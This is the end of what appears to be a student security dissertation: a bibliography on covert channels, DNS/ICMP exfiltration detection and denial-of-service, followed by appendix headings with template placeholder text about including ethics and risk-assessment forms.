S. Sayadi, T. Abbes, and A. Bouhoula. Detection of covert channels over icmp protocol. pages 1247–1252, 2017. 10.1109/A-ICCSA.2017.60.

sensepost. sensepost/det, Jul 2016. URL <https://github.com/sensepost/DET>.

S. Shaw and P. Choudhury. A new local area network attack through ip and mac address spoofing. pages 347–350, 2015. 10.1109/ICACEA.2015.7164728.

Carl Slatter. Icmp based denial of service - threat and mitigation. *KF5007 - Northumbria*, 2019a.

Carl Slatter. Principles of digital security and forensics. *KF5005 - Northumbria*, 2019b.

J. Steadman and S. Scott-Hayward. Dnsxd: Detecting data exfiltration over dns. pages 1–6, 2018. 10.1109/NFV-SDN.2018.8725640.

Cloudflare UK and What is Transport Layer Security? Cloudflare, 2018. URL <https://www.cloudflare.com/en-gb/learning/ssl/transport-layer-security-tls/>.

Us.norton.com. What Are Denial Of Service (Dos) Attacks? Dos Attacks Explained, 2020. URL <https://us.norton.com/internetsecurity-emerging-threats-dos-attacks-explained.htm>.

Yarrick. yarrick/iodine. URL <https://github.com/yarrick/iodine>.

R. Zheng, J. Liu, K. Li, S. Liao, and L. Liu. Detecting malicious tls network traffic based on communication channel features. pages 14–19, 2020. 10.1109/ICICN51133.2020.9205087.

Part V

Appendices

Appendix A

Terms of Reference

A.1 Ethics Form

If you scan the Ethics form on one of the multifunction printers, you can get a pdf copy. This can then be included with the \LaTeX command

```
cincludegraphicsethics.pdf
```

A.2 Risk Assessment Form

Likewise you can scan and include the Risk Assessment Form

```
cincludegraphicsriskassesment.pdf
```